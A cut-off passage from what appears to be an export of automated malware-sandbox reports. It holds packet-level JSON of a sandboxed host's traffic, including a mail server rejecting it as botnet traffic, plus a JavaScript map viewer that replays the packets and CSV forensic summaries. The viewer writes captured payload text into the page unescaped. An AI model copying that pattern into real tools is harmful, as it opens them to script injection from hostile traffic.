\"tcp_ack\": 1444010957, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 184, \"timestamp\": 1777400590.473811, \"timestamp_iso\": \"2026-04-28T23:53:10.473811\", \"timestamp_human\": \"2026-04-28 23:53:10.473\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"23.48.245.217\", \"ttl\": 128, \"ip_id\": 4831, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49954, \"dst_port\": 443, \"tcp_seq\": 226525659, \"tcp_ack\": 1444010957, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 190, \"timestamp\": 1777400592.974133, \"timestamp_iso\": \"2026-04-28T23:53:12.974133\", \"timestamp_human\": \"2026-04-28 23:53:12.974\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"23.48.245.217\", \"ttl\": 128, \"ip_id\": 4832, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49954, \"dst_port\": 443, \"tcp_seq\": 226525659, \"tcp_ack\": 1444010957, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 199, \"timestamp\": 1777400597.863058, \"timestamp_iso\": \"2026-04-28T23:53:17.863058\", \"timestamp_human\": \"2026-04-28 23:53:17.863\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"23.48.245.217\", \"ttl\": 128, \"ip_id\": 4833, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49954, \"dst_port\": 443, \"tcp_seq\": 226525659, \"tcp_ack\": 1444010957, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 208, \"timestamp\": 1777400607.571693, \"timestamp_iso\": \"2026-04-28T23:53:27.571693\", \"timestamp_human\": \"2026-04-28 23:53:27.571\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"23.48.245.217\", \"ttl\": 128, \"ip_id\": 4834, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49954, \"dst_port\": 443, \"tcp_seq\": 226525660, \"tcp_ack\": 1444010957, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"FIN\": 6, \"ACK\": 7, \"RST\": 1}, \"packet_sizes\": [54, 54, 54, 54, 54, 54, 54], \"inter_packet_intervals\": [0.31142497062683105, 0.7031230926513672, 1.3982048034667969, 2.500322103500366, 4.888925075531006, 9.708634853363037], \"connection_type\": \"TCP Data\", \"threat_level\": \"low\", \"duration\": 19.510634899139404, \"avg_packet_size\": 54.0, \"packets_per_second\": 0.35877868845307354, \"bytes_per_second\": 19.37404917646597, \"min_packet_size\": 54, \"max_packet_size\": 54, \"median_packet_size\": 54, \"avg_interval\": 3.251772483189901, \"min_interval\": 0.31142497062683105, \"max_interval\": 9.708634853363037}, {\"source\": \"192.168.122.168\", \"target\": \"162.251.85.202\", \"packet_count\": 4, \"total_bytes\": 228, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ports\": [50121], \"dst_ports\": [587], \"first_packet\": 1777400594.012671, \"last_packet\": 1777400607.980655, \"packets\": [{\"packet_number\": 193, \"timestamp\": 1777400594.012671, \"timestamp_iso\": \"2026-04-28T23:53:14.012671\", \"timestamp_human\": \"2026-04-28 23:53:14.012\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"162.251.85.202\", \"ttl\": 128, \"ip_id\": 31310, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50121, \"dst_port\": 587, \"tcp_seq\": 2808562734, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 195, \"timestamp\": 1777400594.012854, \"timestamp_iso\": \"2026-04-28T23:53:14.012854\", \"timestamp_human\": \"2026-04-28 23:53:14.012\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"162.251.85.202\", \"ttl\": 128, \"ip_id\": 31311, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50121, \"dst_port\": 587, \"tcp_seq\": 2808562735, \"tcp_ack\": 898325473, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 204, \"timestamp\": 1777400605.368539, \"timestamp_iso\": \"2026-04-28T23:53:25.368539\", \"timestamp_human\": \"2026-04-28 23:53:25.368\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"162.251.85.202\", \"ttl\": 128, \"ip_id\": 31312, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50121, \"dst_port\": 587, \"tcp_seq\": 2808562735, \"tcp_ack\": 898325581, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 211, \"timestamp\": 1777400607.980655, \"timestamp_iso\": \"2026-04-28T23:53:27.980655\", \"timestamp_human\": \"2026-04-28 23:53:27.980\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"162.251.85.202\", \"ttl\": 128, \"ip_id\": 31313, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50121, \"dst_port\": 587, \"tcp_seq\": 2808562735, \"tcp_ack\": 898325581, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 3, \"FIN\": 1}, \"packet_sizes\": [66, 54, 54, 54], \"inter_packet_intervals\": [0.00018310546875, 11.355684995651245, 2.6121158599853516], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 13.967983961105347, \"avg_packet_size\": 57.0, \"packets_per_second\": 0.28636917189611827, \"bytes_per_second\": 16.323042798078742, \"min_packet_size\": 54, \"max_packet_size\": 66, \"median_packet_size\": 54, \"avg_interval\": 4.655994653701782, \"min_interval\": 0.00018310546875, \"max_interval\": 11.355684995651245}, {\"source\": \"162.251.85.202\", \"target\": \"192.168.122.168\", \"packet_count\": 4, \"total_bytes\": 335, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ports\": [587], \"dst_ports\": [50121], \"first_packet\": 1777400594.01273, \"last_packet\": 1777400607.980698, \"packets\": [{\"packet_number\": 194, \"timestamp\": 1777400594.01273, \"timestamp_iso\": \"2026-04-28T23:53:14.012730\", \"timestamp_human\": \"2026-04-28 23:53:14.012\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"162.251.85.202\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 587, \"dst_port\": 50121, \"tcp_seq\": 898325472, \"tcp_ack\": 2808562735, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 202, \"timestamp\": 1777400605.368126, \"timestamp_iso\": \"2026-04-28T23:53:25.368126\", \"timestamp_human\": \"2026-04-28 23:53:25.368\", \"size\": 161, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ip\": \"162.251.85.202\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 7336, \"ip_len\": 147, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 587, \"dst_port\": 50121, \"tcp_seq\": 898325473, \"tcp_ack\": 2808562735, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 107, \"payload_preview\": \"3535302d225b3230332e35352e38312e315d3a333730373220697320696e20616e2052424c206f6e20626c2e70726f312e7765627369746577656c636f6d652e636f6d2c207365650d0a35353020426c6f636b6564202d20426f746e657420446574656e74696f6e220d0a\", \"payload_ascii\": \"550-\\\"[203.55.81.1]:37072 is in an RBL on bl.pro1.websitewelcome.com, see\\r\\n550 Blocked - Botnet Detention\\\"\\r\\n\"}, {\"packet_number\": 203, \"timestamp\": 1777400605.368166, \"timestamp_iso\": \"2026-04-28T23:53:25.368166\", \"timestamp_human\": \"2026-04-28 23:53:25.368\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"162.251.85.202\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 7337, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 587, \"dst_port\": 50121, \"tcp_seq\": 898325580, \"tcp_ack\": 2808562735, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 212, \"timestamp\": 1777400607.980698, \"timestamp_iso\": \"2026-04-28T23:53:27.980698\", \"timestamp_human\": \"2026-04-28 23:53:27.980\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"162.251.85.202\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 587, \"dst_port\": 50121, \"tcp_seq\": 898325581, \"tcp_ack\": 2808562736, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 4, \"PSH\": 1, \"FIN\": 1}, \"packet_sizes\": [66, 161, 54, 54], \"inter_packet_intervals\": [11.355396032333374, 4.00543212890625e-05, 2.612532138824463], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 13.967968225479126, \"avg_packet_size\": 83.75, \"packets_per_second\": 0.28636949450554705, \"bytes_per_second\": 23.983445164839562, \"min_packet_size\": 54, \"max_packet_size\": 161, \"median_packet_size\": 66, \"avg_interval\": 4.655989408493042, \"min_interval\": 4.00543212890625e-05, \"max_interval\": 11.355396032333374}];\n        \n        // Unified Timeline Data\n        const allPackets = [];\n        edges.forEach(e => {\n            e.packets.forEach(p => {\n                allPackets.push({\n                    ...p,\n                    source: e.source,\n                    target: e.target,\n                    protocols: p.protocols\n                });\n            });\n        });\n        allPackets.sort((a, b) => a.timestamp - b.timestamp);\n\n        // Map Setup\n        const map = L.map('map', {\n            center: [20, 0],\n            zoom: 2,\n            minZoom: 2,\n            maxBounds: [[-90, -180], [90, 180]],\n            maxBoundsViscosity: 1.0,\n            worldCopyJump: false\n        });\n\n        L.tileLayer('https://{s}.basemaps.cartocdn.com/light_all/{z}/{x}/{y}{r}.png', {\n            attribution: '©OpenStreetMap, ©CartoDB',\n            noWrap: true,\n            bounds: [[-90, -180], [90, 180]]\n        }).addTo(map);\n\n        // Projection Helper for Private IPs\n        function getPos(node) {\n            if (node.is_private) {\n                // Place private nodes in the stylized \"Pvt Zone\" (North Pacific area)\n                // Offset slightly per node to avoid overlap\n                const idx = nodes.filter(n => n.is_private).indexOf(node);\n                const pvtLat = 50 + (idx % 5) * 2;\n                const pvtLon = -160 + Math.floor(idx / 5) * 5;\n                return [pvtLat, pvtLon];\n            }\n            return [node.geo.lat || 0, node.geo.lon || 0];\n        }\n\n        // Initialize positions\n        nodes.forEach(n => {\n            const pos = getPos(n);\n            n.currentLat = pos[0];\n            n.currentLon = pos[1];\n        });\n\n        // D3 Overlay\n        L.svg().addTo(map);\n        const svg = d3.select(map.getPanes().overlayPane).select(\"svg\");\n        const g = svg.append(\"g\").attr(\"class\", \"leaflet-zoom-hide\");\n\n        // Scale node radius by traffic volume\n        const nodeScale = d3.scaleSqrt()\n            .domain([0, d3.max(nodes, d => d.packet_count) || 100])\n            .range([5, 20]);\n\n        const link = g.selectAll(\".link\")\n            .data(edges)\n            .enter().append(\"path\")\n            .attr(\"class\", \"link\")\n            .attr(\"stroke\", e => e.threat_level === 'critical' ? '#ef4444' : '#94a3b8')\n            .attr(\"stroke-width\", 1.5)\n            .on(\"click\", (e, d) => inspectFlow(d));\n\n        const node = g.selectAll(\".node\")\n            .data(nodes)\n            .enter().append(\"circle\")\n            .attr(\"class\", \"node\")\n            .attr(\"r\", d => nodeScale(d.packet_count))\n            .attr(\"fill\", d => d.is_private ? \"#3b82f6\" : \"#10b981\")\n            .attr(\"stroke\", \"#fff\")\n            .attr(\"stroke-width\", 2)\n            .on(\"click\", (e, d) => inspectNode(d));\n\n        node.append(\"title\").text(d => d.ip);\n\n        function updatePositions() {\n            node.attr(\"cx\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).x)\n                .attr(\"cy\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).y);\n\n            link.attr(\"d\", d => {\n                const s = nodes.find(n => n.id === d.source);\n                const t = nodes.find(n => n.id === d.target);\n                if (!s || !t) return \"\";\n                const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n                const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n                return `M${sp.x},${sp.y}L${tp.x},${tp.y}`;\n            });\n        }\n\n        map.on(\"viewreset move\", updatePositions);\n        updatePositions();\n\n        // Stats\n        document.getElementById('stat-nodes').innerText = nodes.length;\n        document.getElementById('stat-edges').innerText = edges.length;\n        document.getElementById('stat-pkts').innerText = allPackets.length;\n\n        // --- Replay Logic ---\n        let replayIdx = 0;\n        let isPlaying = false;\n        let replayTimer = null;\n        const timeline = document.getElementById('timeline');\n        const timeDisplay = document.getElementById('time-display');\n\n        function toggleReplay() {\n            isPlaying = !isPlaying;\n            document.getElementById('play-icon').className = isPlaying ? \"fas fa-pause\" : \"fas fa-play\";\n            if (isPlaying) runReplay();\n            else clearInterval(replayTimer);\n        }\n\n        function runReplay() {\n            clearInterval(replayTimer);\n            replayTimer = setInterval(() => {\n                if (replayIdx >= allPackets.length) {\n                    toggleReplay();\n                    return;\n                }\n                processPacket(allPackets[replayIdx]);\n                replayIdx++;\n                const progress = (replayIdx / allPackets.length) * 100;\n                timeline.value = progress;\n            }, 150);\n        }\n\n        function seekReplay(val) {\n            const targetIdx = Math.floor((val / 100) * (allPackets.length - 1));\n            replayIdx = targetIdx;\n            if (allPackets[replayIdx]) {\n                processPacket(allPackets[replayIdx]);\n            }\n        }\n\n        function processPacket(pkt) {\n            timeDisplay.innerText = pkt.timestamp_human.split(' ')[1];\n            animatePacket(pkt.source, pkt.target);\n            updateLiveInspector(pkt);\n        }\n\n        function animatePacket(srcId, dstId) {\n            const s = nodes.find(n => n.id === srcId);\n            const t = nodes.find(n => n.id === dstId);\n            if (!s || !t) return;\n            \n            const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n            const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n\n            const p = g.append(\"circle\")\n                .attr(\"r\", 4)\n                .attr(\"class\", \"packet-particle\")\n                .attr(\"cx\", sp.x)\n                .attr(\"cy\", sp.y);\n\n            p.transition()\n                .duration(800)\n                .ease(d3.easeLinear)\n                .attr(\"cx\", tp.x)\n                .attr(\"cy\", tp.y)\n                .remove();\n        }\n\n        function updateLiveInspector(pkt) {\n            const srcNode = nodes.find(n => n.id === pkt.source);\n            const dstNode = nodes.find(n => n.id === pkt.target);\n            \n            const body = document.getElementById('inspect-body');\n            \n            // Format payload\n            let payloadHtml = \"\";\n            if (pkt.payload_preview) {\n                const hex = pkt.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (pkt.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${pkt.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Live Replay Analysis</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Packet ID</span><span class=\"data-value\">#${pkt.packet_number}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${pkt.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${pkt.protocols.join(' → ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Size</span><span class=\"data-value\">${pkt.size} Bytes</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Source: ${pkt.source}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${srcNode.geo.city}, ${srcNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${srcNode.geo.isp} (AS${srcNode.geo.asn})</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Destination: ${pkt.target}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${dstNode.geo.city}, ${dstNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${dstNode.geo.isp} (AS${dstNode.geo.asn})</span></div>\n                </div>\n\n                ${pkt.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Flags</div><div class=\"data-value\">${pkt.tcp_flags_str}</div></div>` : ''}\n                ${pkt.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query</div><div class=\"data-value\">${pkt.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data</div>'}\n                </div>\n            `;\n        }\n\n        function inspectNode(d) {\n            document.getElementById('inspect-title').innerText = `Node: ${d.ip}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Investigation Metadata</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Country</span><span class=\"data-value\">${d.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">City</span><span class=\"data-value\">${d.geo.city}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP</span><span class=\"data-value\">${d.geo.isp}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ASN</span><span class=\"data-value\">${d.geo.asn}</span></div>\n                </div>\n                <div class=\"sec-title\">Traffic Intensity</div>\n                <div class=\"stat-grid\">\n                    <div class=\"stat-box\"><div class=\"stat-v\">${d.packet_count}</div><div class=\"stat-l\">Packets</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_sent/1024).toFixed(1)}</div><div class=\"stat-l\">KB Sent</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_received/1024).toFixed(1)}</div><div class=\"stat-l\">KB Recv</div></div>\n                </div>\n                <div class=\"sec-title\" style=\"margin-top:20px;\">Recent Packets</div>\n                ${d.packets.slice(-10).map(p => {\n                    const pStr = JSON.stringify(p).replace(/\"/g, '&quot;');\n                    return `\n                        <div class=\"packet-list-item\" onclick=\"showPacketDetails('${d.ip}', ${pStr})\">\n                            <span>#${p.num} - ${p.direction.toUpperCase()}</span>\n                            <span>${p.size}B</span>\n                        </div>\n                    `;\n                }).join('')}\n            `;\n        }\n\n        function inspectFlow(d) {\n            const s = nodes.find(n => n.id === d.source);\n            const t = nodes.find(n => n.id === d.target);\n            document.getElementById('inspect-title').innerText = `Flow: ${d.source} → ${d.target}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Flow Characteristics</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${d.protocols.join(', ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Total Traffic</span><span class=\"data-value\">${(d.total_bytes / 1024).toFixed(2)} KB</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Threat Level</span><span class=\"data-value\" style=\"color:${d.threat_level === 'low' ? 'var(--accent-success)' : 'var(--accent-danger)'}\">${d.threat_level.toUpperCase()}</span></div>\n                </div>\n                <div class=\"sec-title\">Packet Log</div>\n                ${d.packets.slice(-15).map(p => `\n                    <div class=\"packet-list-item\" style=\"border-left: 3px solid var(--accent-main)\">\n                        <div>\n                            <div style=\"font-weight:700\">#${p.packet_number} [${p.protocols[p.protocols.length-1]}]</div>\n                            <div style=\"font-size:0.75rem; color:var(--text-secondary)\">${p.timestamp_human.split(' ')[1]}</div>\n                        </div>\n                        <div style=\"text-align:right\">\n                            <div>${p.size}B</div>\n                        </div>\n                    </div>\n                `).join('')}\n            `;\n        }\n\n        function showPacketDetails(ip, p) {\n            const body = document.getElementById('inspect-body');\n            document.getElementById('inspect-title').innerText = `Packet Inspection`;\n            document.getElementById('inspect-subtitle').innerText = `IP: ${ip}`;\n            \n            let payloadHtml = \"\";\n            if (p.payload_preview) {\n                const hex = p.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (p.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${p.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Packet Details</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${p.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${p.protocols ? p.protocols.join(' → ') : 'N/A'}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Byte Size</span><span class=\"data-value\">${p.size}</span></div>\n                </div>\n\n                ${p.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Control Flags</div><div class=\"data-value\">${p.tcp_flags_str}</div></div>` : ''}\n                ${p.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query Resolve</div><div class=\"data-value\">${p.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data available</div>'}\n                </div>\n                \n                <button class=\"btn\" onclick=\"zoomToWorld()\" style=\"width:100%; margin-top:10px; padding:10px;\">Return to Overview</button>\n            `;\n        }\n\n        function closePacketPanel() {\n            // No longer used as we use the side panel\n        }\n\n        function zoomToWorld() {\n            map.flyTo([20, 0], 2);\n        }\n    </script>\n</body>\n</html>\n"},{"_id":{"$oid":"69f21bf559a6632dae07de81"},"sha256":"360e6f2288b6c8364159e80330b9af83f2d561929d206bc1e1e5f1585432b28f","timestamp":{"$date":"2026-04-29T20:37:12.860Z"},"analysis_successful":true,"csv_reports":{"network_analysis_domains_ips.csv":"name,ip,src,av detection,reputation,malicious,internal/ external\nip-api.com,208.95.112.1,HTTP Host,0/70,Neutral,No,External\nhttp://ip-api.com,208.95.112.1,HTTP URL,0/70,Neutral,No,External\n","forensic_timeline.csv":"timestamp,category,event,details\n0.0,NGrep,input: /tmp/filtered_52_zp8bi.pcap,\"Payload: filter: ((ip || ip6) || (vlan && (ip || ip6)))\nmatch (JIT): .\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #1\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #2\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #3\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #4\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #5\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....:W.w%....P.eb..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....\\.W...p<.._n.Dk.\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #6\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....:W.w%....P.eb..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....\\.W...p<.._n.Dk.\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #7\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....:W.w%....P.eb..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....\\.W...p<.._n.Dk.\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #8\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #9\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....:W.w%....P.eb..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....\\.W...p<.._n.Dk.\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #10\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #11\n...................t....\n.%i...W 